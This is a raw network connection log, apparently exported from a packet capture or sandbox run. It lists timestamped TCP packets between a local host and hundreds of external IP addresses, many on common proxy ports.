Feb 23, 2024 09:45:15.987313032 CET	80	50178	104.25.58.39	192.168.2.4
Feb 23, 2024 09:45:15.987359047 CET	80	50178	104.25.58.39	192.168.2.4
Feb 23, 2024 09:45:15.987377882 CET	8080	50141	190.19.114.104	192.168.2.4
Feb 23, 2024 09:45:15.987394094 CET	7302	50032	221.134.152.75	192.168.2.4
Feb 23, 2024 09:45:15.987417936 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:15.987425089 CET	50178	80	192.168.2.4	104.25.58.39
Feb 23, 2024 09:45:15.987454891 CET	50141	8080	192.168.2.4	190.19.114.104
Feb 23, 2024 09:45:15.987498045 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:15.987548113 CET	50032	7302	192.168.2.4	221.134.152.75
Feb 23, 2024 09:45:15.987998962 CET	50178	80	192.168.2.4	104.25.58.39
Feb 23, 2024 09:45:15.988003016 CET	50032	7302	192.168.2.4	221.134.152.75
Feb 23, 2024 09:45:15.988070011 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:15.988074064 CET	50141	8080	192.168.2.4	190.19.114.104
Feb 23, 2024 09:45:15.990243912 CET	50311	999	192.168.2.4	45.225.184.177
Feb 23, 2024 09:45:15.990243912 CET	50312	8001	192.168.2.4	37.187.88.32
Feb 23, 2024 09:45:15.990482092 CET	49907	6095	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:15.990498066 CET	49853	3128	192.168.2.4	46.101.102.134
Feb 23, 2024 09:45:15.990502119 CET	49764	8085	192.168.2.4	95.23.214.53
Feb 23, 2024 09:45:15.990509987 CET	49864	4145	192.168.2.4	72.37.216.68
Feb 23, 2024 09:45:15.990509987 CET	49766	8081	192.168.2.4	83.238.80.12
Feb 23, 2024 09:45:15.990510941 CET	49891	45365	192.168.2.4	142.93.151.99
Feb 23, 2024 09:45:15.990511894 CET	49770	3312	192.168.2.4	78.47.35.35
Feb 23, 2024 09:45:15.990511894 CET	49773	11201	192.168.2.4	92.246.139.113
Feb 23, 2024 09:45:15.990525007 CET	49767	4850	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:15.990685940 CET	8080	49861	102.132.54.151	192.168.2.4
Feb 23, 2024 09:45:15.992279053 CET	50313	3128	192.168.2.4	172.233.255.11
Feb 23, 2024 09:45:15.992366076 CET	49861	8080	192.168.2.4	102.132.54.151
Feb 23, 2024 09:45:15.992685080 CET	50314	2222	192.168.2.4	219.129.167.82
Feb 23, 2024 09:45:15.993756056 CET	20481	50075	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:15.994030952 CET	50315	44712	192.168.2.4	92.204.135.4
Feb 23, 2024 09:45:15.994319916 CET	80	50122	104.25.230.252	192.168.2.4
Feb 23, 2024 09:45:15.995304108 CET	50316	42905	192.168.2.4	91.203.114.71
Feb 23, 2024 09:45:15.996762037 CET	50317	8089	192.168.2.4	111.225.152.100
Feb 23, 2024 09:45:15.997383118 CET	50318	80	192.168.2.4	82.208.111.19
Feb 23, 2024 09:45:15.998271942 CET	50319	4153	192.168.2.4	185.134.99.62
Feb 23, 2024 09:45:15.998956919 CET	50320	2419	192.168.2.4	109.205.181.27
Feb 23, 2024 09:45:16.000802994 CET	50321	4145	192.168.2.4	134.236.118.74
Feb 23, 2024 09:45:16.002415895 CET	50322	60249	192.168.2.4	171.244.140.160
Feb 23, 2024 09:45:16.002552986 CET	50323	5678	192.168.2.4	190.186.23.99
Feb 23, 2024 09:45:16.002722979 CET	4145	50259	98.170.57.231	192.168.2.4
Feb 23, 2024 09:45:16.002881050 CET	50259	4145	192.168.2.4	98.170.57.231
Feb 23, 2024 09:45:16.003532887 CET	50324	9999	192.168.2.4	178.212.196.177
Feb 23, 2024 09:45:16.003894091 CET	3128	50190	178.236.246.53	192.168.2.4
Feb 23, 2024 09:45:16.004004002 CET	50190	3128	192.168.2.4	178.236.246.53
Feb 23, 2024 09:45:16.004602909 CET	50190	3128	192.168.2.4	178.236.246.53
Feb 23, 2024 09:45:16.004790068 CET	50325	3128	192.168.2.4	167.71.5.83
Feb 23, 2024 09:45:16.005800009 CET	80	50262	104.16.226.6	192.168.2.4
Feb 23, 2024 09:45:16.005924940 CET	50326	30002	192.168.2.4	80.240.20.183
Feb 23, 2024 09:45:16.006009102 CET	50262	80	192.168.2.4	104.16.226.6
Feb 23, 2024 09:45:16.006113052 CET	50262	80	192.168.2.4	104.16.226.6
Feb 23, 2024 09:45:16.006133080 CET	49772	8888	192.168.2.4	23.122.184.9
Feb 23, 2024 09:45:16.006136894 CET	49918	26077	192.168.2.4	72.10.160.92
Feb 23, 2024 09:45:16.006136894 CET	49776	8081	192.168.2.4	88.199.164.140
Feb 23, 2024 09:45:16.006136894 CET	49777	16379	192.168.2.4	51.158.105.107
Feb 23, 2024 09:45:16.006136894 CET	49933	51778	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:16.006228924 CET	49909	80	192.168.2.4	50.170.90.25
Feb 23, 2024 09:45:16.006424904 CET	49769	9445	192.168.2.4	146.190.84.209
Feb 23, 2024 09:45:16.007698059 CET	50327	80	192.168.2.4	104.16.25.216
Feb 23, 2024 09:45:16.007700920 CET	50328	4145	192.168.2.4	174.77.111.196
Feb 23, 2024 09:45:16.009521008 CET	50329	50415	192.168.2.4	148.72.212.252
Feb 23, 2024 09:45:16.009521961 CET	50330	80	192.168.2.4	50.200.12.86
Feb 23, 2024 09:45:16.013925076 CET	30464	50249	51.79.87.144	192.168.2.4
Feb 23, 2024 09:45:16.014062881 CET	50249	30464	192.168.2.4	51.79.87.144
Feb 23, 2024 09:45:16.017379999 CET	80	50256	50.174.145.13	192.168.2.4
Feb 23, 2024 09:45:16.020318985 CET	80	49814	50.172.23.10	192.168.2.4
Feb 23, 2024 09:45:16.021740913 CET	49852	8181	192.168.2.4	188.235.0.207
Feb 23, 2024 09:45:16.021744013 CET	49780	14645	192.168.2.4	135.181.30.244
Feb 23, 2024 09:45:16.023750067 CET	20481	50075	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.023792028 CET	20481	50075	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.023823023 CET	50075	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:16.025585890 CET	3128	50182	94.142.142.140	192.168.2.4
Feb 23, 2024 09:45:16.027980089 CET	80	50280	104.22.1.113	192.168.2.4
Feb 23, 2024 09:45:16.028090000 CET	50280	80	192.168.2.4	104.22.1.113
Feb 23, 2024 09:45:16.030265093 CET	8089	50090	125.87.89.228	192.168.2.4
Feb 23, 2024 09:45:16.031316996 CET	80	50081	103.44.239.244	192.168.2.4
Feb 23, 2024 09:45:16.031676054 CET	10801	50276	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.031701088 CET	50081	80	192.168.2.4	103.44.239.244
Feb 23, 2024 09:45:16.031785965 CET	8080	50153	190.57.245.250	192.168.2.4
Feb 23, 2024 09:45:16.032843113 CET	80	50212	138.197.102.119	192.168.2.4
Feb 23, 2024 09:45:16.032974958 CET	80	49856	50.174.145.10	192.168.2.4
Feb 23, 2024 09:45:16.033296108 CET	16489	50279	162.210.192.135	192.168.2.4
Feb 23, 2024 09:45:16.036988974 CET	8587	49821	178.62.103.49	192.168.2.4
Feb 23, 2024 09:45:16.037364960 CET	49779	3128	192.168.2.4	185.132.179.72
Feb 23, 2024 09:45:16.037568092 CET	49870	3128	192.168.2.4	91.149.224.168
Feb 23, 2024 09:45:16.037600040 CET	80	50251	50.168.163.179	192.168.2.4
Feb 23, 2024 09:45:16.039050102 CET	50081	80	192.168.2.4	103.44.239.244
Feb 23, 2024 09:45:16.039392948 CET	2929	49877	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.039412022 CET	6331	49878	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.039640903 CET	3128	49815	13.234.24.116	192.168.2.4
Feb 23, 2024 09:45:16.039753914 CET	50280	80	192.168.2.4	104.22.1.113
Feb 23, 2024 09:45:16.041059017 CET	8080	50116	112.205.92.14	192.168.2.4
Feb 23, 2024 09:45:16.041085005 CET	50249	30464	192.168.2.4	51.79.87.144
Feb 23, 2024 09:45:16.041380882 CET	8080	50216	65.21.188.18	192.168.2.4
Feb 23, 2024 09:45:16.041728020 CET	50331	80	192.168.2.4	211.222.252.187
Feb 23, 2024 09:45:16.041914940 CET	80	50295	162.159.242.8	192.168.2.4
Feb 23, 2024 09:45:16.042021990 CET	50295	80	192.168.2.4	162.159.242.8
Feb 23, 2024 09:45:16.042032003 CET	50216	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:16.042932034 CET	50332	59810	192.168.2.4	107.180.101.226
Feb 23, 2024 09:45:16.044826984 CET	50295	80	192.168.2.4	162.159.242.8
Feb 23, 2024 09:45:16.044908047 CET	50216	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:16.045139074 CET	50333	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:16.045360088 CET	49815	3128	192.168.2.4	13.234.24.116
Feb 23, 2024 09:45:16.045767069 CET	80	50233	20.111.54.16	192.168.2.4
Feb 23, 2024 09:45:16.045854092 CET	50233	80	192.168.2.4	20.111.54.16
Feb 23, 2024 09:45:16.046292067 CET	50233	80	192.168.2.4	20.111.54.16
Feb 23, 2024 09:45:16.047131062 CET	50334	80	192.168.2.4	165.154.236.214
Feb 23, 2024 09:45:16.047549009 CET	3128	50175	23.152.40.14	192.168.2.4
Feb 23, 2024 09:45:16.047631025 CET	50335	3128	192.168.2.4	190.136.50.67
Feb 23, 2024 09:45:16.048710108 CET	50336	9002	192.168.2.4	39.165.0.137
Feb 23, 2024 09:45:16.049343109 CET	50337	8080	192.168.2.4	103.172.1.35
Feb 23, 2024 09:45:16.049957037 CET	50338	60153	192.168.2.4	167.172.159.43
Feb 23, 2024 09:45:16.050400972 CET	50339	23971	192.168.2.4	164.92.85.180
Feb 23, 2024 09:45:16.050781012 CET	12519	49884	132.148.128.8	192.168.2.4
Feb 23, 2024 09:45:16.050796032 CET	12519	49884	132.148.128.8	192.168.2.4
Feb 23, 2024 09:45:16.050878048 CET	49884	12519	192.168.2.4	132.148.128.8
Feb 23, 2024 09:45:16.051053047 CET	49884	12519	192.168.2.4	132.148.128.8
Feb 23, 2024 09:45:16.051053047 CET	50340	7654	192.168.2.4	181.205.41.210
Feb 23, 2024 09:45:16.051395893 CET	50341	30000	192.168.2.4	161.97.74.176
Feb 23, 2024 09:45:16.052531004 CET	36546	50289	70.32.26.23	192.168.2.4
Feb 23, 2024 09:45:16.052758932 CET	999	50250	190.61.48.24	192.168.2.4
Feb 23, 2024 09:45:16.052983999 CET	49946	80	192.168.2.4	50.174.214.218
Feb 23, 2024 09:45:16.052985907 CET	49944	5769	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:16.052999973 CET	49894	31979	192.168.2.4	51.77.73.67
Feb 23, 2024 09:45:16.053010941 CET	49818	20056	192.168.2.4	103.215.139.32
Feb 23, 2024 09:45:16.053023100 CET	50342	5678	192.168.2.4	223.25.101.86
Feb 23, 2024 09:45:16.053479910 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.053643942 CET	50343	51226	192.168.2.4	162.240.19.133
Feb 23, 2024 09:45:16.054092884 CET	80	50154	14.43.238.82	192.168.2.4
Feb 23, 2024 09:45:16.055053949 CET	50344	2525	192.168.2.4	103.133.223.211
Feb 23, 2024 09:45:16.056092024 CET	80	50114	58.182.138.139	192.168.2.4
Feb 23, 2024 09:45:16.056196928 CET	50114	80	192.168.2.4	58.182.138.139
Feb 23, 2024 09:45:16.056261063 CET	50345	2011	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:16.056533098 CET	80	50163	172.67.182.169	192.168.2.4
Feb 23, 2024 09:45:16.056808949 CET	50114	80	192.168.2.4	58.182.138.139
Feb 23, 2024 09:45:16.057486057 CET	50346	59431	192.168.2.4	167.99.123.158
Feb 23, 2024 09:45:16.057976961 CET	15673	50287	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:16.058094978 CET	50287	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:16.058294058 CET	50287	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:16.058583975 CET	33829	50126	103.162.31.91	192.168.2.4
Feb 23, 2024 09:45:16.058643103 CET	50126	33829	192.168.2.4	103.162.31.91
Feb 23, 2024 09:45:16.058867931 CET	50347	39796	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:16.058871984 CET	50126	33829	192.168.2.4	103.162.31.91
Feb 23, 2024 09:45:16.059179068 CET	50348	80	192.168.2.4	45.12.31.3
Feb 23, 2024 09:45:16.060467005 CET	50349	8080	192.168.2.4	91.202.230.219
Feb 23, 2024 09:45:16.060559988 CET	50350	8089	192.168.2.4	111.225.153.200
Feb 23, 2024 09:45:16.061400890 CET	50351	63049	192.168.2.4	46.182.6.69
Feb 23, 2024 09:45:16.062444925 CET	50352	8080	192.168.2.4	168.196.246.118
Feb 23, 2024 09:45:16.062690973 CET	11946	50213	91.134.140.160	192.168.2.4
Feb 23, 2024 09:45:16.062901974 CET	11946	50213	91.134.140.160	192.168.2.4
Feb 23, 2024 09:45:16.063977957 CET	50353	11946	192.168.2.4	91.134.140.160
Feb 23, 2024 09:45:16.064567089 CET	50354	31196	192.168.2.4	123.231.230.58
Feb 23, 2024 09:45:16.065515995 CET	50355	80	192.168.2.4	13.229.47.109
Feb 23, 2024 09:45:16.066476107 CET	50356	8080	192.168.2.4	51.210.183.2
Feb 23, 2024 09:45:16.067420006 CET	50357	80	192.168.2.4	88.87.78.137
Feb 23, 2024 09:45:16.068556070 CET	80	50239	104.25.114.28	192.168.2.4
Feb 23, 2024 09:45:16.068572998 CET	80	50239	104.25.114.28	192.168.2.4
Feb 23, 2024 09:45:16.068576097 CET	50358	80	192.168.2.4	203.222.24.36
Feb 23, 2024 09:45:16.068600893 CET	49782	8888	192.168.2.4	43.129.249.83
Feb 23, 2024 09:45:16.068790913 CET	80	50239	104.25.114.28	192.168.2.4
Feb 23, 2024 09:45:16.068939924 CET	50239	80	192.168.2.4	104.25.114.28
Feb 23, 2024 09:45:16.069042921 CET	50239	80	192.168.2.4	104.25.114.28
Feb 23, 2024 09:45:16.069324970 CET	50359	80	192.168.2.4	50.172.39.98
Feb 23, 2024 09:45:16.069856882 CET	2589	49896	72.10.160.90	192.168.2.4
Feb 23, 2024 09:45:16.070425034 CET	80	50210	50.231.104.58	192.168.2.4
Feb 23, 2024 09:45:16.071981907 CET	50360	44692	192.168.2.4	64.202.186.2
Feb 23, 2024 09:45:16.072159052 CET	62842	50131	146.190.84.209	192.168.2.4
Feb 23, 2024 09:45:16.072390079 CET	50131	62842	192.168.2.4	146.190.84.209
Feb 23, 2024 09:45:16.072936058 CET	50131	62842	192.168.2.4	146.190.84.209
Feb 23, 2024 09:45:16.072936058 CET	50361	3128	192.168.2.4	178.252.170.222
Feb 23, 2024 09:45:16.073580027 CET	50362	3128	192.168.2.4	144.21.53.111
Feb 23, 2024 09:45:16.073930979 CET	80	50243	104.17.37.235	192.168.2.4
Feb 23, 2024 09:45:16.073946953 CET	80	50243	104.17.37.235	192.168.2.4
Feb 23, 2024 09:45:16.074250937 CET	50243	80	192.168.2.4	104.17.37.235
Feb 23, 2024 09:45:16.074318886 CET	80	50243	104.17.37.235	192.168.2.4
Feb 23, 2024 09:45:16.074722052 CET	50243	80	192.168.2.4	104.17.37.235
Feb 23, 2024 09:45:16.074999094 CET	50363	80	192.168.2.4	35.185.254.159
Feb 23, 2024 09:45:16.075229883 CET	6005	50101	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:16.075809002 CET	80	50178	104.25.58.39	192.168.2.4
Feb 23, 2024 09:45:16.076003075 CET	6005	50101	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:16.076127052 CET	50101	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:16.076387882 CET	50101	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:16.076834917 CET	50364	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:16.077101946 CET	50365	29834	192.168.2.4	109.238.12.156
Feb 23, 2024 09:45:16.077635050 CET	50366	8080	192.168.2.4	149.126.101.162
Feb 23, 2024 09:45:16.077985048 CET	50367	8080	192.168.2.4	192.214.193.136
Feb 23, 2024 09:45:16.078264952 CET	8083	50024	185.132.242.212	192.168.2.4
Feb 23, 2024 09:45:16.078393936 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.078985929 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.079464912 CET	50368	80	192.168.2.4	103.210.57.243
Feb 23, 2024 09:45:16.080780029 CET	50369	80	192.168.2.4	203.30.189.103
Feb 23, 2024 09:45:16.080797911 CET	3128	50134	3.122.84.99	192.168.2.4
Feb 23, 2024 09:45:16.081397057 CET	50370	80	192.168.2.4	3.128.142.113
Feb 23, 2024 09:45:16.082639933 CET	50371	3128	192.168.2.4	44.226.167.102
Feb 23, 2024 09:45:16.084249020 CET	49802	83	192.168.2.4	103.155.54.38
Feb 23, 2024 09:45:16.084255934 CET	49784	7878	192.168.2.4	202.6.233.59
Feb 23, 2024 09:45:16.085316896 CET	6095	49907	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.085797071 CET	52420	50255	162.214.102.121	192.168.2.4
Feb 23, 2024 09:45:16.085916042 CET	50372	80	192.168.2.4	172.67.250.212
Feb 23, 2024 09:45:16.086172104 CET	82	50109	43.255.113.232	192.168.2.4
Feb 23, 2024 09:45:16.086422920 CET	50109	82	192.168.2.4	43.255.113.232
Feb 23, 2024 09:45:16.086837053 CET	50109	82	192.168.2.4	43.255.113.232
Feb 23, 2024 09:45:16.087035894 CET	80	49737	41.111.243.18	192.168.2.4
Feb 23, 2024 09:45:16.087158918 CET	49737	80	192.168.2.4	41.111.243.18
Feb 23, 2024 09:45:16.087778091 CET	49737	80	192.168.2.4	41.111.243.18
Feb 23, 2024 09:45:16.087862015 CET	44712	50315	92.204.135.4	192.168.2.4
Feb 23, 2024 09:45:16.088448048 CET	50373	999	192.168.2.4	181.209.100.2
Feb 23, 2024 09:45:16.089363098 CET	50374	80	192.168.2.4	116.203.27.109
Feb 23, 2024 09:45:16.090610981 CET	50375	80	192.168.2.4	117.160.250.134
Feb 23, 2024 09:45:16.091437101 CET	8083	50024	185.132.242.212	192.168.2.4
Feb 23, 2024 09:45:16.091470003 CET	50376	4145	192.168.2.4	185.169.181.22
Feb 23, 2024 09:45:16.091563940 CET	8083	50024	185.132.242.212	192.168.2.4
Feb 23, 2024 09:45:16.091667891 CET	50024	8083	192.168.2.4	185.132.242.212
Feb 23, 2024 09:45:16.091794014 CET	5678	50246	109.205.243.10	192.168.2.4
Feb 23, 2024 09:45:16.091826916 CET	50024	8083	192.168.2.4	185.132.242.212
Feb 23, 2024 09:45:16.092459917 CET	50377	33429	192.168.2.4	193.106.57.7
Feb 23, 2024 09:45:16.092530012 CET	3128	50202	37.156.28.43	192.168.2.4
Feb 23, 2024 09:45:16.092681885 CET	50202	3128	192.168.2.4	37.156.28.43
Feb 23, 2024 09:45:16.092963934 CET	50202	3128	192.168.2.4	37.156.28.43
Feb 23, 2024 09:45:16.092988968 CET	80	49771	117.160.250.132	192.168.2.4
Feb 23, 2024 09:45:16.093142033 CET	80	49771	117.160.250.132	192.168.2.4
Feb 23, 2024 09:45:16.093277931 CET	80	49771	117.160.250.132	192.168.2.4
Feb 23, 2024 09:45:16.093406916 CET	80	50262	104.16.226.6	192.168.2.4
Feb 23, 2024 09:45:16.093430042 CET	80	50262	104.16.226.6	192.168.2.4
Feb 23, 2024 09:45:16.093472958 CET	49771	80	192.168.2.4	117.160.250.132
Feb 23, 2024 09:45:16.093528032 CET	49771	80	192.168.2.4	117.160.250.132
Feb 23, 2024 09:45:16.093996048 CET	50262	80	192.168.2.4	104.16.226.6
Feb 23, 2024 09:45:16.094072104 CET	80	50262	104.16.226.6	192.168.2.4
Feb 23, 2024 09:45:16.094156027 CET	50262	80	192.168.2.4	104.16.226.6
Feb 23, 2024 09:45:16.095082998 CET	80	50327	104.16.25.216	192.168.2.4
Feb 23, 2024 09:45:16.095475912 CET	4145	50328	174.77.111.196	192.168.2.4
Feb 23, 2024 09:45:16.095541954 CET	50327	80	192.168.2.4	104.16.25.216
Feb 23, 2024 09:45:16.095592976 CET	50328	4145	192.168.2.4	174.77.111.196
Feb 23, 2024 09:45:16.096489906 CET	10958	50291	132.148.154.97	192.168.2.4
Feb 23, 2024 09:45:16.096570969 CET	50291	10958	192.168.2.4	132.148.154.97
Feb 23, 2024 09:45:16.096745968 CET	80	49781	80.228.235.6	192.168.2.4
Feb 23, 2024 09:45:16.098923922 CET	64693	50123	208.87.131.151	192.168.2.4
Feb 23, 2024 09:45:16.099868059 CET	49912	33427	192.168.2.4	91.135.80.66
Feb 23, 2024 09:45:16.099884987 CET	49935	4145	192.168.2.4	199.102.107.145
Feb 23, 2024 09:45:16.099893093 CET	80	50143	43.231.22.229	192.168.2.4
Feb 23, 2024 09:45:16.099895000 CET	49748	5436	192.168.2.4	160.153.245.187
Feb 23, 2024 09:45:16.099946022 CET	50291	10958	192.168.2.4	132.148.154.97
Feb 23, 2024 09:45:16.099984884 CET	50143	80	192.168.2.4	43.231.22.229
Feb 23, 2024 09:45:16.100191116 CET	50143	80	192.168.2.4	43.231.22.229
Feb 23, 2024 09:45:16.100558996 CET	50327	80	192.168.2.4	104.16.25.216
Feb 23, 2024 09:45:16.101048946 CET	26077	49918	72.10.160.92	192.168.2.4
Feb 23, 2024 09:45:16.101825953 CET	4145	49752	184.181.217.201	192.168.2.4
Feb 23, 2024 09:45:16.101954937 CET	49752	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:16.101968050 CET	50378	6025	192.168.2.4	186.215.87.194
Feb 23, 2024 09:45:16.102289915 CET	50379	33338	192.168.2.4	188.164.193.178
Feb 23, 2024 09:45:16.102291107 CET	49752	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:16.103133917 CET	50380	3865	192.168.2.4	51.210.45.148
Feb 23, 2024 09:45:16.103142977 CET	50381	3333	192.168.2.4	80.194.38.106
Feb 23, 2024 09:45:16.103583097 CET	50382	62105	192.168.2.4	188.164.196.31
Feb 23, 2024 09:45:16.103634119 CET	4145	50284	142.54.236.97	192.168.2.4
Feb 23, 2024 09:45:16.103946924 CET	50383	5814	192.168.2.4	161.97.160.158
Feb 23, 2024 09:45:16.104697943 CET	50384	4890	192.168.2.4	46.0.203.140
Feb 23, 2024 09:45:16.105345011 CET	50385	5678	192.168.2.4	46.214.153.223
Feb 23, 2024 09:45:16.105763912 CET	45365	49891	142.93.151.99	192.168.2.4
Feb 23, 2024 09:45:16.106883049 CET	50386	80	192.168.2.4	81.169.187.194
Feb 23, 2024 09:45:16.107115030 CET	50387	30000	192.168.2.4	5.9.141.151
Feb 23, 2024 09:45:16.107954979 CET	50388	999	192.168.2.4	191.97.16.160
Feb 23, 2024 09:45:16.108330965 CET	50389	8104	192.168.2.4	196.251.221.30
Feb 23, 2024 09:45:16.109009027 CET	50390	4145	192.168.2.4	103.140.35.11
Feb 23, 2024 09:45:16.111906052 CET	6745	50286	45.43.71.147	192.168.2.4
Feb 23, 2024 09:45:16.112128973 CET	50286	6745	192.168.2.4	45.43.71.147
Feb 23, 2024 09:45:16.112128973 CET	50286	6745	192.168.2.4	45.43.71.147
Feb 23, 2024 09:45:16.115504026 CET	49945	4145	192.168.2.4	199.102.105.242
Feb 23, 2024 09:45:16.115513086 CET	49797	80	192.168.2.4	43.153.66.118
Feb 23, 2024 09:45:16.115516901 CET	49792	62691	192.168.2.4	162.215.223.76
Feb 23, 2024 09:45:16.115515947 CET	49793	3128	192.168.2.4	154.202.124.29
Feb 23, 2024 09:45:16.115535975 CET	49983	60186	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:16.115727901 CET	3128	50134	3.122.84.99	192.168.2.4
Feb 23, 2024 09:45:16.115791082 CET	8080	50268	185.38.111.1	192.168.2.4
Feb 23, 2024 09:45:16.115797997 CET	50391	53128	192.168.2.4	34.64.104.210
Feb 23, 2024 09:45:16.115897894 CET	50268	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:16.116308928 CET	50134	3128	192.168.2.4	3.122.84.99
Feb 23, 2024 09:45:16.116312981 CET	50268	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:16.116619110 CET	80	49909	50.170.90.25	192.168.2.4
Feb 23, 2024 09:45:16.117420912 CET	50392	6969	192.168.2.4	190.61.32.168
Feb 23, 2024 09:45:16.117506027 CET	80	49831	41.111.187.214	192.168.2.4
Feb 23, 2024 09:45:16.117527962 CET	50393	34041	192.168.2.4	185.225.200.247
Feb 23, 2024 09:45:16.118486881 CET	50394	20986	192.168.2.4	115.144.163.198
Feb 23, 2024 09:45:16.118710041 CET	50395	39873	192.168.2.4	103.37.82.134
Feb 23, 2024 09:45:16.118763924 CET	50396	80	192.168.2.4	106.14.255.124
Feb 23, 2024 09:45:16.119400978 CET	50397	2955	192.168.2.4	72.10.160.172
Feb 23, 2024 09:45:16.119827032 CET	50398	8181	192.168.2.4	103.180.198.162
Feb 23, 2024 09:45:16.120127916 CET	50399	8080	192.168.2.4	171.4.71.196
Feb 23, 2024 09:45:16.120502949 CET	50400	80	192.168.2.4	185.162.228.128
Feb 23, 2024 09:45:16.121083021 CET	50401	6438	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:16.121516943 CET	50402	8080	192.168.2.4	186.103.130.94
Feb 23, 2024 09:45:16.121943951 CET	30464	50249	51.79.87.144	192.168.2.4
Feb 23, 2024 09:45:16.122714996 CET	50403	11176	192.168.2.4	51.210.45.148
Feb 23, 2024 09:45:16.123240948 CET	50404	30464	192.168.2.4	51.79.87.144
Feb 23, 2024 09:45:16.123922110 CET	50405	3128	192.168.2.4	37.252.13.248
Feb 23, 2024 09:45:16.124073029 CET	50406	80	192.168.2.4	149.202.172.113
Feb 23, 2024 09:45:16.124519110 CET	50407	3128	192.168.2.4	129.213.52.124
Feb 23, 2024 09:45:16.124780893 CET	3128	50230	186.156.161.235	192.168.2.4
Feb 23, 2024 09:45:16.125087976 CET	4145	50200	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:16.125142097 CET	4145	50200	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:16.126003981 CET	50408	80	192.168.2.4	185.162.228.154
Feb 23, 2024 09:45:16.126440048 CET	50410	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:16.126569033 CET	50409	6788	192.168.2.4	45.43.84.163
Feb 23, 2024 09:45:16.127266884 CET	80	50280	104.22.1.113	192.168.2.4
Feb 23, 2024 09:45:16.127285957 CET	80	50280	104.22.1.113	192.168.2.4
Feb 23, 2024 09:45:16.127304077 CET	45314	50307	104.238.100.115	192.168.2.4
Feb 23, 2024 09:45:16.127614021 CET	80	50280	104.22.1.113	192.168.2.4
Feb 23, 2024 09:45:16.127650023 CET	50280	80	192.168.2.4	104.22.1.113
Feb 23, 2024 09:45:16.127707005 CET	50280	80	192.168.2.4	104.22.1.113
Feb 23, 2024 09:45:16.127932072 CET	543	49964	8.213.137.155	192.168.2.4
Feb 23, 2024 09:45:16.129414082 CET	50411	35860	192.168.2.4	212.3.112.128
Feb 23, 2024 09:45:16.129422903 CET	50412	999	192.168.2.4	179.1.192.17
Feb 23, 2024 09:45:16.129554033 CET	80	49786	154.113.121.60	192.168.2.4
Feb 23, 2024 09:45:16.129743099 CET	4145	49751	222.124.130.198	192.168.2.4
Feb 23, 2024 09:45:16.131115913 CET	49794	80	192.168.2.4	74.103.66.15
Feb 23, 2024 09:45:16.131135941 CET	49795	999	192.168.2.4	177.87.250.66
Feb 23, 2024 09:45:16.131247997 CET	49800	9812	192.168.2.4	200.116.198.222
Feb 23, 2024 09:45:16.132100105 CET	80	50295	162.159.242.8	192.168.2.4
Feb 23, 2024 09:45:16.132116079 CET	80	50295	162.159.242.8	192.168.2.4
Feb 23, 2024 09:45:16.132559061 CET	80	50295	162.159.242.8	192.168.2.4
Feb 23, 2024 09:45:16.132708073 CET	50295	80	192.168.2.4	162.159.242.8
Feb 23, 2024 09:45:16.133268118 CET	4145	50301	104.200.135.46	192.168.2.4
Feb 23, 2024 09:45:16.133464098 CET	80	50034	211.128.96.206	192.168.2.4
Feb 23, 2024 09:45:16.133878946 CET	3128	50288	85.214.244.174	192.168.2.4
Feb 23, 2024 09:45:16.135057926 CET	50295	80	192.168.2.4	162.159.242.8
Feb 23, 2024 09:45:16.137748957 CET	4145	50305	199.102.106.94	192.168.2.4
Feb 23, 2024 09:45:16.138405085 CET	50413	58628	192.168.2.4	165.227.196.37
Feb 23, 2024 09:45:16.139960051 CET	50415	40667	192.168.2.4	109.123.254.43
Feb 23, 2024 09:45:16.140352964 CET	50414	5678	192.168.2.4	212.5.132.74
Feb 23, 2024 09:45:16.140836000 CET	50416	5678	192.168.2.4	116.118.98.21
Feb 23, 2024 09:45:16.141436100 CET	50417	1080	192.168.2.4	193.143.1.201
Feb 23, 2024 09:45:16.141840935 CET	50418	8080	192.168.2.4	77.37.132.129
Feb 23, 2024 09:45:16.142518997 CET	50419	80	192.168.2.4	50.218.57.69
Feb 23, 2024 09:45:16.143065929 CET	50421	27241	192.168.2.4	109.238.12.156
Feb 23, 2024 09:45:16.143306017 CET	50420	5020	192.168.2.4	115.127.114.209
Feb 23, 2024 09:45:16.143910885 CET	50422	999	192.168.2.4	187.102.208.254
